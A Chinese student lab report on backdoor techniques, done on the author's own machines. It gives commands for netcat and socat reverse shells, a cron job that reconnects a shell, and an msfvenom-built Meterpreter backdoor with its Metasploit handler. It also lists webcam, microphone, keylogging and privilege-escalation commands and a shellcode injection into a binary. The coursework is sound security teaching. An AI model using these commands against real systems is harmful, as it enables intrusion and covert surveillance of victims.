1.实验内容
1.1实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2实验要求
掌握后门原理及免杀技术
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(1)下载来源不可靠的文件;
(2)访问受感染的网站;
(3)插入不明来源的U盘;
(4)在网站上点击不安全的链接。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(1)在Windows系统中:利用windows启动项启动后门、利用windows服务启动后门、利用定时任务启动后门等;
(2)在Linux系统中:利用cron或at等定时任务工具启动后门、利用自启动脚本启动后门、利用利用SSH隧道启动后门、利用反弹Shell启动后门等。
(3)Meterpreter有哪些给你映像深刻的功能?
能够获取主机的shellcode,截屏,照片,键盘输入等
(4)如何发现自己有系统有没有被安装后门?
使用杀毒软件进行检查
查看电脑日志
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机ip地址
首先关闭主机防火墙,下载ncat,并打开cmd,查看主机的ip地址
(2)使用netcat进行连接并获取shell
在主机上输入:ncat.exe -l -p 8888
在Linux虚拟机上输入:nc 172.16.178.95 8888 -e /bin/sh
win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
(3)通过设置cron使得kali启动定时任务。
输入crontab -e (执行文字编辑器来设定时程表),选择2:/usr/bin/vim.basic;
输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 172.16.178.95 8888 -e /bin/sh
编辑好后退出文字编辑器,输入crontab -l查看时程表:
同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。
回到Windows主机,并与Linux建立连接,后输入:echo "* * * * * echo "20222417" > /home/kali/2224_17.txt" > /var/spool/cron/crontabs/root
进入Linux虚拟机进入对应路径检查2224_17.txt文件,发现修改成功。
2.2使用socat获取主机操作Shell,任务计划启动
在主机上建立与socat的连接,输入:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
在Linux虚拟机上建立与socat的连接。输入:socat - tcp:172.16.178.95:8888
前往vscode中,编译一个运行程序:
在Linux上启用Windows的程序,通过命令行创建任务计划,并找到任务20222417ywxywx:
2.3在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
首先关闭防火墙的保护;
(1)生成后门文件
在Linux虚拟机上,输入ifconfig,获得虚拟机的ip地址:
接着输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.133 LPORT=8888 -f exe > 20222417ywxbackdoor.exe 生成后门文件
(2)将后门文件传输至目标主机
主机进入ncat的目录下输入:ncat.exe -lv 8888 > "D:\20222417ywxbackdoor.exe"
虚拟机上输入命令:nc 192.168.17.133 8888 < 20222417ywxbackdoor.exe
在主机D盘上成功找到后门文件:
(3)配置监听模块
在虚拟机终端输入:msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.17.133
set LPORT 8888
最后输入exploit,开始监听。
并在win终端上运行后门文件20222417ywxbackdoor.exe
最后返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。
2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
音频截图被保存在root目录中:
(2)提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在虚拟机上输入Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.17.133
LPORT=8888 -x /mnt/hgfs/share/pwn1 -f elf > 20222417pwn1
输入指令msfconsole,重现监听过程:
打开另外一个终端,运行生成的文件20222417ywx
回到第一个shell,输入ls确认连接,成功实现远程控制shell
3.问题及解决方案
问题一:在下载ncat时,程序无法下载
解决方案:防火墙未关闭完全
问题二:使用MSF生成shellcode时,无法连接shell。
解决方案:在最开始的过程中,发现是系统之前的不配对,由于直接复制了上边监听的过程,导致问题的出现。后将Windows修改为Linux/x86,第一个情况得以解决;
在接下来的实验中,解决了这个问题,又遇到了一个新的问题
发现-x命令不存在;后经过询问,发现是-x前多带了一个回车,后经过修改,得以解决这个问题。
4.学习感悟、思考
经过这次实验,我对网络攻防实验的认知更进一步。网络攻防实验带给我许多兴趣,在每次完成一个任务,解决一个问题,都让我收获颇丰。在实验的过程,我了解了更多的
机器语言,对于win主机终端的操作命令以及kali的操作命令更加得心应手。本次实验提高了我的动手能力,思考能力,让我在碰到问题时,想尽一切办法,甚至以不惜重新来
过的态度来完成本次实验。
通过这次实验,我对于ncat,socat,后门文件,MSF等知识有了进一步的学习,也了解到网络攻防的重要性。通过一些工具,可以对主机发起大量的攻击。让我明白,原来一些
网络上的小链接或者软件,就可能隐藏着巨大的危机。